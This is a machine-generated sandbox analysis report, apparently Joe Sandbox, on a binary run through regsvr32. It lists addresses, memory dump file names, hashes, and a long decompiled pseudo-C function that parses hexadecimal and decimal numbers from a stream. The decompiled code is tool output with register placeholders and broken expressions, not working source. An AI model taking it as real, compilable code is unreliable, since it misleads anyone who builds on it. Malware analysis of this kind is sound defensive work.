0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 85b8204f85045a05ae26195db2e5da9d7353bea5cffcaec61e9f99a50d9576a8
Instruction ID: d2ea1f062f5f602ca19fc33afaec867a4fd0a08b37e9a1e56805ddc8a18941d4
Opcode Fuzzy Hash: 85b8204f85045a05ae26195db2e5da9d7353bea5cffcaec61e9f99a50d9576a8
Instruction Fuzzy Hash: 78023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4A5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 00418703 Relevance: 1.7, Strings: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00418703(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t707;
				intOrPtr* _t708;
				intOrPtr* _t710;
				intOrPtr* _t713;
				signed short* _t716;
				char* _t718;
				signed long long _t720;
				intOrPtr _t725;
				char* _t730;
				signed long long _t732;
				signed short* _t734;
				signed short** _t736;
				signed short* _t739;
				signed short* _t742;
				signed short* _t745;
				signed short** _t747;
				signed short* _t750;
				signed short* _t753;
				signed short** _t755;
				signed short* _t759;
				signed short* _t762;
				signed short** _t764;
				signed short* _t767;
				signed short* _t770;
				signed short* _t773;
				signed short* _t776;
				char* _t778;
				signed long long _t780;
				signed short* _t782;
				signed short** _t784;
				signed short* _t787;
				signed short* _t790;
				char* _t793;
				signed short* _t796;
				signed short** _t798;
				signed short* _t801;
				signed short* _t804;
				intOrPtr* _t806;
				signed short** _t808;
				signed short* _t811;
				signed short* _t814;
				signed short* _t817;
				char* _t819;
				signed int _t820;
				signed short* _t822;
				signed short** _t824;
				signed short* _t827;
				signed short* _t830;
				signed short* _t832;
				intOrPtr _t833;
				void* _t836;
				long long _t837;
				intOrPtr* _t838;
				signed short* _t841;
				long long* _t843;
				signed int _t847;
				void* _t850;
				signed int _t853;
				signed short** _t856;
				signed short* _t859;
				signed short* _t864;
				signed short** _t866;
				signed short* _t870;
				signed short* _t873;
				signed short* _t876;
				intOrPtr* _t878;
				intOrPtr* _t879;
				void* _t881;
				long long* _t882;
				intOrPtr* _t885;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t894;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr _t906;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t914;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t920;
				intOrPtr* _t921;
				intOrPtr* _t923;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t929;
				char* _t932;
				intOrPtr* _t934;
				intOrPtr* _t935;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t939;
				intOrPtr* _t942;
				intOrPtr* _t944;
				char* _t946;
				intOrPtr* _t948;
				intOrPtr* _t950;
				intOrPtr* _t951;
				intOrPtr* _t952;
				intOrPtr _t953;
				char* _t954;
				signed long long _t956;
				void* _t958;
				intOrPtr _t961;
				intOrPtr _t962;
				intOrPtr* _t964;
				char* _t968;
				intOrPtr* _t970;
				intOrPtr* _t972;
				intOrPtr* _t973;
				intOrPtr* _t974;
				intOrPtr* _t976;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t982;
				intOrPtr* _t983;
				intOrPtr* _t986;
				signed int _t987;
				signed short* _t990;
				signed short* _t994;
				signed short* _t998;
				signed short* _t1001;
				signed short* _t1006;
				signed short* _t1010;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1027;
				signed short* _t1028;
				signed short* _t1031;
				signed short* _t1036;
				signed int* _t1042;
				signed int* _t1044;
				signed int* _t1045;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				intOrPtr* _t1050;
				signed int* _t1051;
				signed int* _t1052;
				signed int _t1053;
				void* _t1054;
				intOrPtr _t1055;
				intOrPtr* _t1056;
				long long _t1058;
				signed short* _t1060;
				intOrPtr* _t1061;
				char* _t1062;
				void* _t1066;
				long long* _t1069;
				signed int _t1071;
				signed int _t1074;
				long long _t1075;
				void* _t1077;
				void* _t1078;
				intOrPtr* _t1079;
				long long _t1080;
				char* _t1081;
				signed int _t1083;
				char* _t1084;
				void* _t1085;
				void* _t1086;
				char* _t1088;
				void* _t1089;
				signed int _t1090;
				char* _t1091;
				long long _t1092;
				signed int _t1094;
				void* _t1095;
				short* _t1096;
				long long _t1099;
				long long _t1100;

				_t1095 = __r15;
				_t1089 = __r14;
				_t1086 = __r13;
				_t1078 = __r12;
				_t1075 = __r9;
				_t1069 = __r8;
				_t1042 = __rdi;
				_t987 = __rdx;
				_t881 = __rbx;
				_t1054 = __rax;
				_t707 = _v32;
				if(_t707 >= 0x10) {
					_t986 = _v56;
					if(_t707 + 1 >= 0x1000) {
						_t986 =  *((intOrPtr*)(_t986 - 8));
					}
					_t415 = E00402090(_t415, _t986);
				}
				_t416 = E0044CEA0(_t415, _t1054);
				asm("ud2");
				_t708 =  *_t1061;
				 *_t708 =  *_t708 + _t416;
				 *_t708 =  *_t708 + _t416;
				0;
				0;
				_t1062 =  &_v192;
				_a96 = _t1075;
				_t882 = _t1069;
				_t1090 = _t987;
				_t1055 = _a224;
				_t885 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_v32 = _t885;
				_t710 =  *_t885;
				 *((intOrPtr*)(_t710 + 0x10))(_t881, _t1042, _t1054, _t1078, _t1086, _t1089, _t1095, _t1061, _t1066);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1069, _t1075, _t1077, _t1078, _t1086, _t1090, _t1095);
				_t1079 = _t710;
				_t887 = _v32;
				if(_t887 != 0) {
					_t879 =  *_t887;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1079 + 0x30))();
				_t889 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_a40 = _t889;
				_t713 =  *_t889;
				 *((intOrPtr*)(_t713 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1069, _t1075, _t1077, _t1090);
				_t1056 = _t713;
				_t891 = _a40;
				if(_t891 != 0) {
					_t878 =  *_t891;
					 *((intOrPtr*)(_t878 + 0x18))();
					if(_t878 != 0) {
						 *((intOrPtr*)( *_t878 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1056 + 0x68))();
				_t893 =  *_t882;
				_t568 = 0;
				_t558 = 0;
				if(_t893 != 0) {
					_t876 =  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x38))));
					if(_t876 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t893 + 0x38))();
					} else {
						_t524 =  *_t876 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t894 =  *_a96;
				if(_t894 != 0) {
					_t873 =  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x38))));
					if(_t873 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t894 + 0x38))();
					} else {
						_t522 =  *_t873 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1096 = _t1090;
				if(_t558 != _t568) {
					if( *(_t882 + 8) == 0) {
						_t983 =  *_t882;
						if(_t983 == 0) {
							L34:
							 *_t882 = 0;
						} else {
							_t870 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
							if(_t870 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t983 + 0x38))();
							} else {
								_t521 =  *_t870 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L34;
							} else {
								 *(_t882 + 0xa) = _t521;
							}
						}
						 *(_t882 + 8) = 1;
					}
					_t517 =  *(_t882 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1096 = _t1090;
						if(_t517 == _a12) {
							 *_t1090 = 0x2d;
							_t980 =  *_t882;
							__eflags = _t980;
							if(_t980 == 0) {
								goto L49;
							} else {
								_t866 =  *((intOrPtr*)(_t980 + 0x38));
								_t1036 =  *_t866;
								__eflags = _t1036;
								if(_t1036 == 0) {
									L46:
									_t519 =  *((intOrPtr*)( *_t980 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t980 + 0x50));
									_t600 =  *_t1042;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L46;
									} else {
										goto L45;
									}
								}
								goto L47;
							}
							goto L50;
						}
					} else {
						 *_t1090 = 0x2b;
						_t982 =  *_t882;
						if(_t982 == 0) {
							L49:
							 *_t882 = 0;
							_t518 = 1;
						} else {
							_t866 =  *((intOrPtr*)(_t982 + 0x38));
							_t1036 =  *_t866;
							if(_t1036 == 0) {
								L40:
								_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t982 + 0x50));
								_t600 =  *_t1042;
								if(_t600 > 0) {
									L45:
									 *_t1042 = _t600 - 1;
									 *_t866 =  &(_t1036[1]);
									_t519 =  *_t1036 & 0x0000ffff;
								} else {
									goto L40;
								}
							}
							L47:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L49;
							} else {
								_t518 = 0;
							}
						}
						L50:
						_t1096 = _t1090 + 1;
						 *(_t882 + 8) = _t518;
					}
				}
				 *_t1096 = 0x7830;
				_t895 =  *_t882;
				_t569 = 0;
				_t559 = 0;
				if(_t895 != 0) {
					_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t515 =  *_t864 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t716 = _a96;
				_t896 =  *_t716;
				if(_t896 != 0) {
					_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t716 =  *_t896;
						_t513 = _t716[0x1c]();
					} else {
						_t513 =  *_t716 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L118:
					_t559 = 0;
				} else {
					if( *(_t882 + 8) == 0) {
						_t979 =  *_t882;
						if(_t979 == 0) {
							L72:
							 *_t882 = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
								_t716 =  *_t979;
								_t512 = _t716[0x1c]();
							} else {
								_t512 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L72;
							} else {
								 *(_t882 + 0xa) = _t512;
							}
						}
						 *(_t882 + 8) = 1;
					}
					if(( *(_t882 + 0xa) & 0x0000ffff) != _v32) {
						goto L118;
					} else {
						_t972 =  *_t882;
						if(_t972 == 0) {
							L85:
							 *_t882 = 0;
							 *(_t882 + 8) = 1;
							goto L86;
						} else {
							_t856 =  *((intOrPtr*)(_t972 + 0x38));
							_t1031 =  *_t856;
							if(_t1031 == 0) {
								L79:
								_t508 =  *((intOrPtr*)( *_t972 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t972 + 0x50));
								_t598 =  *_t1042;
								if(_t598 <= 0) {
									goto L79;
								} else {
									 *_t1042 = _t598 - 1;
									 *_t856 =  &(_t1031[1]);
									_t508 =  *_t1031 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L85;
							} else {
								_t977 =  *_t882;
								 *(_t882 + 8) = 0;
								if(_t977 == 0) {
									L86:
									_t595 = 0;
								} else {
									_t859 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
									if(_t859 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t977 + 0x38))();
									} else {
										_t510 =  *_t859 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t716 = _a96;
						_t973 =  *_t716;
						if(_t973 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x50)))) <= 0) {
								_t716 =  *_t973;
								_t506 = _t716[0x1c]();
							} else {
								_t506 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t882 + 8) == 0) {
								_t976 =  *_t882;
								if(_t976 == 0) {
									L105:
									 *_t882 = 0;
								} else {
									_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x38))));
									if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x50)))) <= 0) {
										_t716 =  *_t976;
										_t505 = _t716[0x1c]();
									} else {
										_t505 =  *_t716 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L105;
									} else {
										 *(_t882 + 0xa) = _t505;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t501 =  *(_t882 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t974 =  *_t882;
								if(_t974 == 0) {
									L116:
									 *_t882 = 0;
									_t502 = 1;
								} else {
									_t716 =  *((intOrPtr*)(_t974 + 0x38));
									_t1028 =  *_t716;
									if(_t1028 == 0) {
										L113:
										_t716 =  *_t974;
										_t503 = _t716[0x20]();
									} else {
										_t1042 =  *((intOrPtr*)(_t974 + 0x50));
										_t596 =  *_t1042;
										if(_t596 <= 0) {
											goto L113;
										} else {
											 *_t1042 = _t596 - 1;
											 *_t716 =  &(_t1028[1]);
											_t503 =  *_t1028 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L116;
									} else {
										_t502 = 0;
									}
								}
								 *(_t882 + 8) = _t502;
								goto L118;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1096 + 2;
				_t1058 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1058;
				_v48 = _t1079;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1080 = _t1090;
					r13d = 0;
					_t1091 =  &_v34;
					r15d = 0;
					while(1) {
						_t897 =  *_t882;
						__eflags = _t897;
						_t560 = 0;
						if(_t897 == 0) {
							goto L146;
						}
						_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
						__eflags = _t822;
						if(_t822 == 0) {
							L144:
							_t487 =  *((intOrPtr*)( *_t897 + 0x38))();
						} else {
							__eflags =  *( *(_t897 + 0x50));
							if( *( *(_t897 + 0x50)) <= 0) {
								goto L144;
							} else {
								_t487 =  *_t822 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L146:
						_t898 =  *_a96;
						__eflags = _t898;
						if(_t898 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L152;
							} else {
							}
						} else {
							_t830 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
							__eflags = _t830;
							if(_t830 == 0) {
								L150:
								_t483 =  *((intOrPtr*)( *_t898 + 0x38))();
							} else {
								__eflags =  *( *(_t898 + 0x50));
								if( *( *(_t898 + 0x50)) <= 0) {
									goto L150;
								} else {
									_t483 =  *_t830 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L152:
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t950 =  *_t882;
									__eflags = _t950;
									if(_t950 == 0) {
										L162:
										 *_t882 = 0;
									} else {
										_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t950 + 0x38))));
										__eflags = _t827;
										if(_t827 == 0) {
											L159:
											_t424 =  *((intOrPtr*)( *_t950 + 0x38))();
										} else {
											__eflags =  *( *(_t950 + 0x50));
											if( *( *(_t950 + 0x50)) <= 0) {
												goto L159;
											} else {
												_t424 =  *_t827 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L162;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t532 =  *(_t882 + 0xa) & 0x0000ffff;
								_t718 = _t1091;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t718 + 2) & 0x0000ffff;
									_t718 = _t718 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L171;
								}
								_t720 = _t718 -  &_v32 >> 1;
								__eflags = _t720 - 0x15;
								if(_t720 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L130:
											_t946 = _a112;
											 *_t946 =  *((intOrPtr*)(_t720 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t946 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t720;
											if(_t720 != 0) {
												goto L130;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t948 =  *_t882;
									__eflags = _t948;
									if(_t948 == 0) {
										L138:
										 *_t882 = 0;
										_t481 = 1;
									} else {
										_t824 =  *((intOrPtr*)(_t948 + 0x38));
										_t1018 =  *_t824;
										__eflags = _t1018;
										if(_t1018 == 0) {
											L135:
											_t485 =  *((intOrPtr*)( *_t948 + 0x40))();
										} else {
											_t1052 =  *((intOrPtr*)(_t948 + 0x50));
											_t590 =  *_t1052;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L135;
											} else {
												 *_t1052 = _t590 - 1;
												 *_t824 =  &(_t1018[1]);
												_t485 =  *_t1018 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L138;
										} else {
											_t481 = 0;
										}
									}
									 *(_t882 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1092 = _t1080;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L169;
						}
						goto L171;
					}
				} else {
					r13d = 0;
					_a32 = _t1090;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t716;
					} else {
						_t853 =  *_t1079;
						_t424 =  *((intOrPtr*)(_t853 + 0x28))();
						_a88 = _t853;
					}
					_v40 = _t1058;
					_t1084 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t951 =  *_t882;
						_t567 = 0;
						_t592 = 0;
						if(_t951 != 0) {
							_t841 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
